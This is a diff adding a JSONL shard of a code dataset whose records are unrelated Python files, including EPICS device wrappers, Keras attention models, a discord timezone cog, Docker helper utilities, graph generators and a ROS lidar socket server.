diff --git "a/2934.jsonl" "b/2934.jsonl" new file mode 100644--- /dev/null +++ "b/2934.jsonl" @@ -0,0 +1,683 @@ +{"seq_id":"87170748","text":"from ophyd import PVPositioner, EpicsSignal, EpicsSignalRO, Device\nfrom ophyd.signal import AttributeSignal\nfrom ophyd.mixins import EpicsSignalPositioner\nfrom ophyd import Component as C\nfrom ophyd import Component as Cpt\nfrom ophyd.device import DeviceStatus\n\n\nclass CS700TemperatureController(PVPositioner):\n readback = C(EpicsSignalRO, 'T-I')\n setpoint = C(EpicsSignal, 'T-SP')\n done = C(EpicsSignalRO, 'Cmd-Busy')\n stop_signal = C(EpicsSignal, 'Cmd-Cmd')\n \n def set(self, *args, timeout=None, **kwargs):\n return super().set(*args, timeout=timeout, **kwargs)\n\n def trigger(self):\n # There is nothing to do. Just report that we are done.\n # Note: This really should not necessary to do --\n # future changes to PVPositioner may obviate this code.\n status = DeviceStatus(self)\n status._finished()\n return status\n\n# To allow for sample temperature equilibration time, increase\n# the `settle_time` parameter (units: seconds).\ncs700 = CS700TemperatureController('XF:28IDC-ES:1{Env:01}', name='cs700',\n settle_time=0)\ncs700.done_value = 0\ncs700.read_attrs = ['setpoint', 'readback']\ncs700.readback.name = 'temperature'\ncs700.setpoint.name = 'temperature_setpoint'\n\n\nclass Eurotherm(EpicsSignalPositioner):\n def set(self, *args, **kwargs):\n # override #@!$(#$ hard-coded timeouts\n return super().set(*args, timeout=1000000, **kwargs)\n\neurotherm = Eurotherm('XF:28IDC-ES:1{Env:04}T-I',\n write_pv='XF:28IDC-ES:1{Env:04}T-SP',\n tolerance= 3, name='eurotherm')\n\nclass CryoStat(Device):\n # readback\n T = Cpt(EpicsSignalRO, ':IN1')\n # setpoint\n setpoint = Cpt(EpicsSignal, read_pv=\":OUT1:SP_RBV\",\n write_pv=\":OUT1:SP\",\n add_prefix=('suffix', 'read_pv', 'write_pv'))\n # heater power level\n heater = Cpt(EpicsSignal, ':HTR1')\n \n # configuration\n dead_band = Cpt(AttributeSignal, attr='_dead_band')\n heater_range = Cpt(EpicsSignal, ':HTR1:Range', string=True)\n scan = Cpt(EpicsSignal, ':read.SCAN', string=True)\n mode = Cpt(EpicsSignal, ':OUT1:Mode', string=True)\n cntrl = Cpt(EpicsSignal, ':OUT1:Cntrl', string=True)\n # trigger signal\n trig = Cpt(EpicsSignal, ':read.PROC')\n \n def trigger(self):\n self.trig.put(1, wait=True)\n return DeviceStatus(self, done=True, success=True)\n \n def __init__(self, *args, dead_band, read_attrs=None,\n configuration_attrs=None, **kwargs):\n if read_attrs is None:\n read_attrs = ['T', 'setpoint']\n if configuration_attrs is None:\n configuration_attrs = ['heater_range', 'dead_band',\n 'mode', 'cntrl']\n super().__init__(*args, read_attrs=read_attrs,\n configuration_attrs=configuration_attrs,\n **kwargs)\n self._target = None\n self._dead_band = dead_band\n self._sts = None\n \n def _sts_mon(self, value, **kwargs):\n if (self._target is None or\n np.abs(self._target - value) < self._dead_band):\n self.T.clear_sub(self._sts_mon)\n self.scan.put('Passive', wait=True)\n if self._sts is not None:\n self._sts._finished()\n self._sts = None\n self._target = None\n \n def set(self, val):\n self._target = val\n self.setpoint.put(val, wait=True)\n sts = self._sts = DeviceStatus(self)\n self.scan.put('.2 second')\n self.T.subscribe(self._sts_mon)\n \n return sts\n\n def stop(self, *, success=False):\n self.setpoint.put(self.T.get())\n if self._sts is not None:\n self._sts._finished(success=success)\n self._sts = None\n self._target = None\n self.scan.put('Passive', wait=True)\n\n\ncryostat = CryoStat('XF:28IDC_ES1:LS335:{CryoStat}', name='cryostat', dead_band=1)\n","sub_path":"profile_collection_germ/startup/11-temperature-controller.py","file_name":"11-temperature-controller.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"394633484","text":"\n\n#calss header\nclass _ROTISSERIE():\n\tdef __init__(self,): \n\t\tself.name = \"ROTISSERIE\"\n\t\tself.definitions = [u'(a shop or restaurant that contains) a device for cooking meat, especially chicken, by turning it round slowly near a flame or cooker']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_rotisserie.py","file_name":"_rotisserie.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"69926498","text":"import random\nimport os\n\n\ndef randomquote_slide(dir):\n q = open(os.path.join(dir, \"blog/quotes.txt\"), 'r')\n quotes = []\n quote = q.readline()\n while quote:\n quotes.append(quote)\n quote = q.readline()\n random.shuffle(quotes)\n print(quotes[0])\n return quotes[0]\n","sub_path":"blog/feministquotes.py","file_name":"feministquotes.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"283219607","text":"from peewee import *\n\ndb = PostgresqlDatabase('vbenedek', user='vbenedek')\n\n\nclass BaseModel(Model):\n \"\"\"A base model that will use our Postgresql database\"\"\"\n class Meta:\n database = db\n\n\nclass Status(BaseModel):\n name = CharField()\n\n\nclass UserStory(BaseModel):\n title = CharField()\n story = TextField()\n criteria = TextField()\n value = IntegerField()\n estimation = FloatField()\n status = ForeignKeyField(Status, related_name=\"status_key\", null=True)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"345223398","text":"#!/usr/bin/python3\nimport subprocess\nimport shlex\nimport time\nimport sys\nimport os\n\npull_command = 'pull-images'\n\n\ndef pullImage(image):\n pull = 'docker pull '\n pull_result = subprocess.call(shlex.split(pull + image))\n\n if(pull_result > 0):\n print('Error on pull image ' + image)\n exit(1)\n\n\ndef tagImage(image, tag):\n new_tagged = image + ':' + tag\n tag_command = 'docker tag ' + image + ' ' + new_tagged\n tag_result = subprocess.call(shlex.split(tag_command))\n\n if(tag_result > 0):\n print('Error on tag image ' + new_tagged)\n exit(1)\n return new_tagged\n\n\ndef pushImage(image):\n push = 'docker push '\n push_result = subprocess.call(shlex.split(push + image))\n\n if(push_result > 0):\n print('Error on push image ' + image)\n exit(1)\n\n\ndef getContainerImage():\n command = 'docker inspect --format \"{{ index .Config.Image }}\" ' + \\\n os.environ['HOSTNAME']\n image = str(subprocess.check_output(shlex.split(command))).rstrip('\\n')\n return image\n\n\ndef getContainerId():\n return os.environ['HOSTNAME']\n\n\ndef getVersionFromHostContainer():\n command = 'docker inspect --format \"{{ index .Config.Labels.version }}\" ' + \\\n os.environ['HOSTNAME']\n version = str(subprocess.check_output(shlex.split(command))).rstrip('\\n')\n return version\n\n\ndef getRepoTag(imageTag):\n command = 'docker inspect %s --format \"{{index .RepoTags}}\"' % (imageTag)\n repoTag = ''\n try:\n repoTag = ''.join(subprocess.check_output(shlex.split(command)))\n except TypeError:\n repoTag = 'imageNotExists'\n except subprocess.CalledProcessError:\n repoTag = 'imageNotExists'\n\n return repoTag\n\n\ndef deleteVolume(name):\n print ('')\n print (' Deleting some volumes....')\n command = 'docker volume rm ' + name\n subprocess.call(shlex.split(command))\n\n\ndef deleteImages(images):\n if (images):\n command = 'docker rmi -f ' + images\n subprocess.call(shlex.split(command))\n\n\ndef deleteDanglingImages():\n subcommand = 'docker images -f \"dangling=true\" -q'\n result = str(subprocess.check_output(shlex.split(subcommand))).split('\\n')\n if (''.join(result)):\n command = 'docker rmi -f ' + ' '.join(result)\n print ('Deleting dangling images')\n try:\n subprocess.check_output(shlex.split(command))\n except subprocess.CalledProcessError:\n print (' Unable to delete dangling images.')\n\n\ndef killContainer(container, signal):\n if (signal is None or signal == ''):\n command = 'docker kill %s ' % (container)\n else:\n command = 'docker kill --signal=%s %s ' % (signal, container)\n\n p = subprocess.check_output(shlex.split(command))\n return p\n\n\ndef executePlatformCommand(image, command, dockerArgs, commandArgs):\n if (command == pull_command):\n print ('')\n print (' Updating ElasTest components....')\n print ('')\n command_line = ('docker run %s --rm -v /var/run/docker.sock:/var/run/docker.sock %s %s %s')%(dockerArgs,image,command,commandArgs)\n\n subprocess.check_output(shlex.split(command_line))\n\n\ndef existsLocalImage(image): \n if(':' not in image):\n image + ':latest'\n return True if image in getRepoTag(image) else False\n","sub_path":"version-scripts/DockerUtils.py","file_name":"DockerUtils.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"552433636","text":"import sys\n\nL = []\n\ntry:\n file = input('Which data file do you want to use? ')\n with open(file,'r') as f:\n for line in f.readlines():\n L.append(line[2]+line[4])\nexcept IOError:\n print('There is no ' + file)\n sys.exit()\n\nL_2 = L[:]\nL_3 = []\n\ndef get_path(fact):\n fact_2 = fact\n for i in range(len(L)):\n print(i)\n if fact[-1] == L[i][0]:\n fact_2 += L[i][1]\n L_3.append(fact_2)\n get_path(fact_2)\n return L_3 # all redundant fact\n\ndef remove_redundant(redundant_fact):\n for i in range(len(L)):\n for j in range(len(redundant_fact)):\n if redundant_fact[j][0] + redundant_fact[j][-1] == L[i]:\n if L_2.count(L[i]):\n L_2.remove(L[i])\n\nfor i in range(len(L)):\n remove_redundant(get_path(L[i]))\n\nprint('The nonredundant facts are:')\nfor i in range(len(L_2)):\n print(f'R({L_2[i][0]},{L_2[i][1]})')\n\nprint(L_3)\nprint(L)\n\n\n\n\n","sub_path":"Assignment1/nonredundant/123.py","file_name":"123.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"354175155","text":"from keras.models import Sequential, Model\nfrom keras.layers import Dense, Embedding, Flatten, LSTM, Bidirectional, Dropout, Input, Concatenate\nfrom keras.initializers import Constant, RandomNormal\nfrom keras_self_attention import SeqSelfAttention\n\n\nclass BaselineModel:\n def __init__(self, hidden_dim, output_dim, embeddings, max_seq_len):\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n self.embeddings = embeddings\n self.max_seq_len = max_seq_len\n\n self.model = Sequential()\n\n self.model.add(\n Embedding(input_dim=self.embeddings.shape[0],\n output_dim=self.embeddings.shape[1],\n embeddings_initializer=Constant(self.embeddings),\n input_length=self.max_seq_len,\n trainable=False))\n\n self.model.add(Bidirectional(\n LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True)))\n\n self.model.add(Dropout(0.4))\n\n self.model.add(Bidirectional(\n LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True)))\n\n self.model.add(SeqSelfAttention(attention_activation='sigmoid'))\n\n self.model.add(Flatten())\n\n self.model.add(Dropout(0.4))\n\n self.model.add(Dense(self.output_dim, activation='softmax'))\n\n\nclass MultilingualModel:\n def __init__(self,\n hidden_dim,\n output_dim,\n embeddings,\n max_seq_len,\n max_seq_char,\n char_count,\n char_lstm_dim,\n dense_dim,\n share_char=False,\n share_word=False\n ):\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n self.embeddings = embeddings\n self.max_seq_len = max_seq_len\n self.char_count = char_count\n self.max_seq_char = max_seq_char\n self.char_lstm_dim = char_lstm_dim\n self.dense_dim = dense_dim\n\n # INPUTS\n in_char = Input(shape=(self.max_seq_char,), name='char')\n\n char_emb = Embedding(input_dim=char_count + 1,\n output_dim=20,\n input_length=self.max_seq_char,\n embeddings_initializer=RandomNormal(mean=0.0, stddev=0.3, seed=None),\n trainable=True\n )(in_char)\n\n in_en = Input(shape=(self.max_seq_len,), name='word_en')\n in_es = Input(shape=(self.max_seq_len,), name='word_es')\n\n # SHARED PARTS\n if share_char is True:\n lstm_char_shared = Bidirectional(LSTM(units=self.char_lstm_dim,\n activation='relu',\n return_sequences=False))(char_emb)\n\n if share_word is True:\n lstm_word_shared = Bidirectional(LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True))\n\n # ENGLISH NETWORK\n lstm_char_en = Bidirectional(LSTM(units=self.char_lstm_dim,\n activation='relu',\n return_sequences=False))(char_emb)\n\n emb_en = Embedding(input_dim=self.embeddings['en'].shape[0],\n output_dim=self.embeddings['en'].shape[1],\n embeddings_initializer=Constant(self.embeddings['en']),\n input_length=self.max_seq_len,\n trainable=False)(in_en)\n\n lstm1_en = Bidirectional(LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True))(emb_en)\n\n dropout1_en = Dropout(0.4)(lstm_word_shared(emb_en) if share_word is True else lstm1_en)\n\n lstm2_en = Bidirectional(LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True))(dropout1_en)\n\n att_en = SeqSelfAttention(attention_activation='tanh')(lstm2_en)\n\n flat_en = Flatten()(att_en)\n\n concat_en = Concatenate()([lstm_char_shared if share_char is True else lstm_char_en, flat_en])\n\n dropout2_en = Dropout(0.4)(concat_en)\n\n dense_en = Dense(self.dense_dim, activation='relu')(dropout2_en)\n\n output_en = Dense(self.output_dim, activation='softmax')(dense_en)\n\n # SPANISH NETWORK\n lstm_char_es = Bidirectional(LSTM(units=self.char_lstm_dim,\n activation='relu',\n return_sequences=False))(char_emb)\n\n emb_es = Embedding(input_dim=self.embeddings['es'].shape[0],\n output_dim=self.embeddings['es'].shape[1],\n embeddings_initializer=Constant(self.embeddings['es']),\n input_length=self.max_seq_len,\n trainable=False)(in_es)\n\n lstm1_es = Bidirectional(LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True))(emb_es)\n\n dropout1_es = Dropout(0.4)(lstm_word_shared(emb_es) if share_word is True else lstm1_es)\n\n lstm2_es = Bidirectional(LSTM(units=self.hidden_dim,\n activation='relu',\n return_sequences=True))(dropout1_es)\n\n att_es = SeqSelfAttention(attention_activation='tanh')(lstm2_es)\n\n flat_es = Flatten()(att_es)\n\n concat_es = Concatenate()([lstm_char_shared if share_char is True else lstm_char_es, flat_es])\n\n dropout2_es = Dropout(0.4)(concat_es)\n\n dense_es = Dense(self.dense_dim, activation='relu')(dropout2_es)\n\n output_es = Dense(self.output_dim, activation='softmax')(dense_es)\n\n if share_char or share_word:\n self.model_es = Model(inputs=[in_char, in_es], outputs=output_es)\n else:\n self.model_es = None\n\n self.model_en = Model(inputs=[in_char, in_en], outputs=output_en)\n","sub_path":"src/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"186422557","text":"import arrow\nimport arrow.parser\n\nimport discord\nimport time\nfrom discord import Status\nfrom discord.ext.commands import group, command, clean_content\n\nfrom kmn.checks import is_bot_admin\nfrom kmn.cog import Cog\nfrom kmn.errors import CommandFailure\nfrom kmn.storage import JSONStorage\n\n\nclass Timezone(Cog):\n def __init__(self, bot):\n super().__init__(bot)\n self.storage = JSONStorage('_timezones.json', loop=bot.loop)\n self.last_message = JSONStorage('_last_message.json', loop=bot.loop)\n\n async def on_message(self, msg):\n if msg.author.bot:\n return\n\n # put\n await self.last_message.put(str(msg.author.id), time.time())\n\n def time_for(self, who):\n timezone = self.storage.get(str(who.id), None)\n\n if not timezone:\n raise CommandFailure(f'{who} has no timezone set.')\n\n return timezone, arrow.utcnow().to(timezone)\n\n def format_arrow(self, time):\n return time.format('MMM ddd YYYY-MM-DD HH:mm:ss (hh:mm:ss a)')\n\n def recently_spoke(self, who):\n last_spoke = self.last_message.get(str(who.id), 0)\n time_since_last = time.time() - last_spoke\n\n return time_since_last <= 60\n\n def check_timezone(self, timezone):\n if any(character in timezone for character in ['`', '@', '#']) or len(timezone) > 20:\n raise CommandFailure('that looks like an invalid timezone.')\n\n try:\n arrow.utcnow().to(timezone)\n except arrow.parser.ParserError:\n raise CommandFailure('invalid timezone.')\n\n @group(aliases=['t'], invoke_without_command=True, brief=\"shows the time for someone\")\n async def time(self, ctx, *, who: discord.User=None):\n \"\"\"command group about time\"\"\"\n who = who or ctx.author\n raw_timezone, time = self.time_for(who)\n await ctx.send(f'`{raw_timezone}`: {self.format_arrow(time)}')\n\n @command()\n async def sleep(self, ctx, *, who: discord.Member=None):\n \"\"\"tells someone to sleep maybe\"\"\"\n who = who or ctx.author\n\n subject = 'you' if who == ctx.author else 'they'\n subject_external = 'you' if who == ctx.author else 'them'\n\n # get the time for the person\n raw, time = self.time_for(who)\n\n # format the time for their timezone\n time_formatted = time.format('hh:mm a') if 'US' in raw else time.format('HH:mm')\n\n if time.hour in {23, 24, 0, 1, 2, 3, 4, 5}:\n if who.status is not Status.online and not self.recently_spoke(who):\n return await ctx.send(f\"{who} isn't online, they're probably sleeping.\")\n await ctx.send(f\"hey {who.mention}, it's {time_formatted}. you should sleep.\")\n else:\n await ctx.send(f\"{subject} don't need to sleep (it's {time_formatted} for {subject_external}).\")\n\n @time.command(hidden=True)\n @is_bot_admin()\n async def write(self, ctx, who: discord.User, *, timezone):\n \"\"\"sets someone's timezone\"\"\"\n self.check_timezone(timezone)\n await self.storage.put(str(who.id), timezone)\n await ctx.send(f\"\\N{OK HAND SIGN} set {who}'s timezone to `{timezone}`.\")\n\n @time.command(brief=\"sets your timezone\")\n async def set(self, ctx, *, timezone: clean_content=None):\n \"\"\"sets your timezone (interactive)\n\n if you provide a timezone in the command, it won't be interactive\"\"\"\n\n # confirm overwriting\n if self.storage.get(str(ctx.author.id), None):\n confirm = await ctx.confirm(delete=False,\n title='Overwrite your timezone?',\n description='You already have one set.')\n assert isinstance(confirm[1], discord.Message)\n if not confirm[0]:\n return\n else:\n confirm = False\n\n if not timezone:\n # we interactive now\n if confirm is not False:\n await confirm[1].edit(content=\"what timezone are you in?\\n\\nyou can send a timezone name (list here: \"\n \") or in ISO-8601 \"\n \"style (e.g. `-07:00`). send `cancel` to cancel.\", embed=None)\n else:\n await ctx.send(\"what timezone are you in?\\n\\nyou can send a timezone name (list here: \"\n \") or in ISO-8601 \"\n \"style (e.g. `-07:00`). send `cancel` to cancel.\")\n\n while True:\n # wait for a message\n message = await ctx.bot.wait_for('message',\n check=lambda m: m.author == ctx.author and m.channel == ctx.channel)\n\n # bail\n if message.content == 'cancel':\n return await ctx.send('ok, bye.')\n\n try:\n # check timezone\n self.check_timezone(message.content)\n except CommandFailure as failure:\n # don't return, just send it and continue\n await ctx.send(str(failure))\n continue\n\n # store\n timezone = message.content\n break\n\n # check the timezone\n self.check_timezone(timezone)\n\n # put into storage\n await self.storage.put(str(ctx.author.id), timezone)\n # ok\n if confirm is not None:\n await confirm[1].edit(content=f'ok, your timezone was set to `{timezone}`.',\n embed=None)\n else:\n ctx.send(f'ok, your timezone was set to `{timezone}`.')\n\n\ndef setup(bot):\n bot.add_cog(Timezone(bot))\n","sub_path":"kmn/cogs/timezone.py","file_name":"timezone.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"139353415","text":"#!/usr/bin/env python\n# -*- coding: utf-8; mode: python -*-\n\"\"\"\nA simple python implementation of Gravatar Image requests (using their API).\n\n- Author: Lilian Besson, (C) 2013.\n- Online: https://bitbucket.org/lbesson/bin/src/master/gravatar.py\n- Licence: MIT Licence (http://lbesson.mit-license.org).\n\"\"\"\n\nfrom __future__ import print_function # Python 2/3 compatibility !\n# import code for encoding urls and generating md5 hashes\nimport urllib\nimport hashlib\n\n# Set the default picture\n# default = \"http://perso.crans.org/besson/.besson.jpg\"\ndefault = \"retro\"\n\nsize = 256\nsecure = True\n\n\ndef gravatar(email, default=default, size=size, secure=secure):\n \"\"\"\n gravatar(email, default=default, size=size, secure=secure) -> string\"\n\n Return the URL of the gravatar picture associated with @email.\n @default: default picture to use if not available. Default is %s.\n @size: format to use (pixel x pixel). Default is %i.\n @secure: if true, the returned URL use https://secure.gravatar.com instead of http://www.gravatar.com. Default is %s.\"\n \"\"\" % (default, size, secure)\n if secure:\n gravatar_url = \"https://secure.gravatar.com/avatar/\" + hashlib.md5(email.lower()).hexdigest() + \"?r=pg&\"\n else:\n gravatar_url = \"http://www.gravatar.com/avatar/\" + hashlib.md5(email.lower()).hexdigest() + \"?r=pg&\"\n gravatar_url += urllib.urlencode({'d': default, 's': str(size)})\n return gravatar_url\n\n\nif __name__ == '__main__':\n # Set the email address to check\n email = \"lbessonATens-cachanDOTfr\".replace(\"AT\", \"@\").replace(\"DOT\", \".\")\n print(\"For the email adress \" + email)\n print(gravatar(email))\n email = \"ameliaDOTnoreenATgmailDOTcom\".replace(\"AT\", \"@\").replace(\"DOT\", \".\")\n print(\"For the email adress \" + email)\n print(gravatar(email))\n","sub_path":"MY_REPOS/my-gists/_CURRENT/8b2c5f97ac/gravatar.py","file_name":"gravatar.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"497443656","text":"import math\nimport random\n\n\ndef getIndex(listLength, numOfDigits):\n\t#index = random.normalvariate(listLength/2, 3)\n\tindex = random.weibullvariate(listLength/2, numOfDigits*0.5);\n\tindex = math.ceil(index)\n\tif index > listLength -1:\n\t\tindex = listLength - 1\n\tif index < 0:\n\t\tindex = 0;\t\n\treturn int(index);","sub_path":"Cepler/scripts/helper/stddev.py","file_name":"stddev.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"289964722","text":"import scipy.special\nimport random\nfrom itertools import combinations\nfrom operator import itemgetter\n\nfrom graphly.graph import graph\nfrom graphly.representation import representation\nfrom graphly.algorithm import algorithm\n\n\ndef generate(generation_type, *args):\n return {\n \"normal\": generate_regular,\n \"probability\": generate_probability,\n \"k-regular\": generate_k_regular,\n \"eulerian\": generate_eulerian,\n \"random-connected\": generate_random_connected,\n \"degree-seq\": generate_from_degree_seq\n }[generation_type](*args)\n\n\ndef generate_regular(vertices_num, edges_num):\n max_edges = int(scipy.special.binom(vertices_num, 2))\n if edges_num > max_edges:\n raise Exception(\"Too many edges\")\n\n adj_list = [[] for _ in range(vertices_num)]\n i = 0\n while i < edges_num:\n edge = random.sample(range(vertices_num), 2)\n if edge[1] in adj_list[edge[0]]:\n continue\n adj_list[edge[0]].append(edge[1])\n adj_list[edge[1]].append(edge[0])\n\n i += 1\n\n return graph(representation.adjacency_list(adj_list))\n\n\ndef generate_probability(vertices_num, probability):\n if 0.0 > probability > 1.0:\n raise Exception(\"Probability domain [0, 1]\")\n\n edge_list = list(combinations([i for i in range(vertices_num)], 2))\n\n adj_list = [[] for _ in range(vertices_num)]\n for i in range(len(edge_list)):\n if random.random() < probability:\n adj_list[edge_list[i][0]].append(edge_list[i][1])\n adj_list[edge_list[i][1]].append(edge_list[i][0])\n\n return graph(representation.adjacency_list(adj_list))\n\n\ndef generate_k_regular(n, k): # n - number of vertices, k - regularity\n # number of number * regularity must be even and regularity cannot be larger than number of vertices\n if n * k % 2 != 0 or k >= n:\n raise Exception(\"Wrong input numbers\")\n\n nk = n * k\n\n adj_list = [[] for _ in range(n)]\n points_org = [i % n for i in range(nk)]\n points = points_org[:]\n edge_list = []\n\n response = 0\n\n while True:\n for i in range(nk // 2):\n response = generate_random_pair(edge_list, points) # 0 is ok, -1 is not ok\n if response == -1: # if response == -1 generating graph again\n break\n if response == 0: # if response == 0 graph is finished\n break\n\n # resetting\n edge_list = []\n points = points_org[:]\n\n for i in range(len(edge_list)): # transform from list of edges to adjacency list\n adj_list[edge_list[i][0]].append(edge_list[i][1])\n adj_list[edge_list[i][1]].append(edge_list[i][0])\n\n return graph(representation.adjacency_list(adj_list))\n\n\ndef generate_random_pair(edge_list, points):\n loop_count = 0\n point = points.pop(random.randrange(len(points)))\n\n while True:\n if loop_count > 10: # to prevent inf loop\n return -1\n loop_count += 1\n\n index = random.randrange(len(points))\n\n if point == points[index]:\n continue\n\n edge = (point, points[index])\n if edge in edge_list:\n continue\n\n reversed_edge_list = [t[::-1] for t in edge_list]\n if edge in reversed_edge_list:\n continue\n\n points.pop(index)\n edge_list.append(edge)\n return 0\n\n\ndef generate_eulerian(vertices_num=random.randint(4, 50)):\n \"\"\"\n :param vertices_num or nothing\n :return: an eulerian graph\n \"\"\"\n max_degree = vertices_num - 2 if vertices_num % 2 == 0 else vertices_num - 1\n\n seq = None\n is_degree_seq = False\n while not is_degree_seq:\n seq = []\n for vertex in range(vertices_num):\n seq.append(random.randrange(2, max_degree + 1, 2)) # all vertices of even degree\n\n is_degree_seq = algorithm.is_degree_seq(seq)\n\n g = generate(\"degree-seq\", seq)\n\n return g\n\n\ndef generate_random_connected(vertices_num):\n while True:\n g = generate_probability(vertices_num, 0.3)\n if algorithm.is_connected(g):\n return g\n\n\ndef generate_from_degree_seq(sequence):\n if not algorithm.is_degree_seq(sequence):\n raise Exception(\"Provide a sequence that is a degree sequence.\")\n\n seq = [[index, value] for index, value in enumerate(sequence)]\n\n adj_list = [[] for _ in range(len(seq))]\n for _ in range(len(seq)):\n seq.sort(reverse=True, key=itemgetter(1))\n i = 0\n j = i + 1\n while seq[i][1] > 0 and j < len(seq):\n adj_list[seq[i][0]].append(seq[j][0])\n adj_list[seq[j][0]].append(seq[i][0])\n seq[i][1] -= 1\n seq[j][1] -= 1\n j += 1\n\n return graph(representation.adjacency_list(adj_list))\n","sub_path":"graphly/generator/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"575219998","text":"from ros.lib.app import app, db\nfrom ros.lib.models import PerformanceProfile\nfrom datetime import datetime, timedelta, timezone\nfrom ros.lib.config import GARBAGE_COLLECTION_INTERVAL, DAYS_UNTIL_STALE, get_logger\nimport time\n\nLOG = get_logger(__name__)\n\n\nclass GarbageCollector():\n def run(self):\n while True:\n self.remove_outdated_data()\n\n def remove_outdated_data(self):\n with app.app_context():\n results = db.session.query(PerformanceProfile).filter(\n PerformanceProfile.report_date < (\n datetime.now(timezone.utc) - timedelta(\n days=DAYS_UNTIL_STALE)\n )).delete()\n db.session.commit()\n if results:\n LOG.info(\"Deleted %s performance profiles older than %d days\", results, DAYS_UNTIL_STALE)\n\n time.sleep(GARBAGE_COLLECTION_INTERVAL)\n","sub_path":"ros/processor/garbage_collector.py","file_name":"garbage_collector.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"587691652","text":"#!/usr/bin/env python3\n\nMAP_SIZE_PIXELS = 500\nMAP_SIZE_METERS = 10\n\nfrom breezyslam.algorithms import RMHC_SLAM\nfrom breezyslam.sensors import URG04LX as LaserModel\n\nfrom breezylidar import URG04LX as Lidar\n\nfrom pltslamshow import SlamShow\n \nimport socket, pickle\nimport json\n\n\nfrom threading import Lock, Thread\n\nimport rospy\nfrom sensor_msgs.msg import LaserScan\n\nHOST = '192.168.0.219'\n#HOST = '192.168.7.1'\nPORT = 6213\n\n\nif __name__ == '__main__':\n\n rospy.init_node('laser_scan_publisher')\n scan_pub = rospy.Publisher('scan', LaserScan, queue_size=50)\n num_readings = 100\n laser_frequency = 40\n count = 0\n r = rospy.Rate(1.0)\n \n \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((HOST, PORT))\n s.listen(1)\n conn, addr = s.accept()\n print('Connected by', addr)\n\n\n # Create an RMHC SLAM object with a laser model and optional robot model\n #slam = RMHC_SLAM(LaserModel(), MAP_SIZE_PIXELS, MAP_SIZE_METERS)\n\n # Set up a SLAM display\n #display = SlamShow(MAP_SIZE_PIXELS, MAP_SIZE_METERS*1000/MAP_SIZE_PIXELS, 'SLAM')\n myInt = 1000\n # Initialize empty map\n\n #mapbytes = bytearray(MAP_SIZE_PIXELS * MAP_SIZE_PIXELS)\n \n while True:\n data = conn.recv(4096).decode('UTF-8')\n \n while \"\" not in data:\n #print(data)\n data += conn.recv(4096).decode('UTF-8')\n \n data = data[:data.index(\"\")]\n data_arr = json.loads(data)\n # Update SLAM with current Lidar scan received from client\n \n \n newList = [x / myInt for x in data_arr]\n current_time = rospy.Time.now()\n scan = LaserScan()\n scan.header.stamp = current_time\n scan.header.frame_id = 'laser'\n scan.angle_min = -2.2689 \n scan.angle_max = 2.2689 \n scan.angle_increment = 0.00436332309619\n scan.time_increment = 1.73611115315e-05\n\n scan.range_min = 0.0\n scan.range_max = 60.0\n scan.ranges = newList\n scan.intensities = []\n #slam.update(data_arr)\n scan_pub.publish(scan)\n \n \n if data:\n print('Got %3d data points' % len((newList)))\n conn.send(bytes(\"OK\",'UTF-8'))\n \n \n \n # current robot position\n #x, y, theta = slam.getpos()\n\n # current map bytes as grayscale\n #slam.getmap(mapbytes)\n\n #display.displayMap(mapbytes)\n\n #display.setPose(x, y, theta)\n\t\n # Exit on window close\n #if not display.refresh():\n # exit(0)\n \n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"297091391","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# Licensed under the GNU General Public License, version 2.\n# See the file http://www.gnu.org/copyleft/gpl.txt.\n\nfrom pisi.actionsapi import get\nfrom pisi.actionsapi import autotools\nfrom pisi.actionsapi import pisitools\n\nlines = [\"VERBOSE=1\",\n \"CXXFLAGS=%s\" % get.CXXFLAGS(),\n \"LDFLAGS=%s\" % get.LDFLAGS(),\n \"DO_NOT_INSTALL_LICENSE=1\",\n \"DO_NOT_INSTALL_DOCS=1\",\n 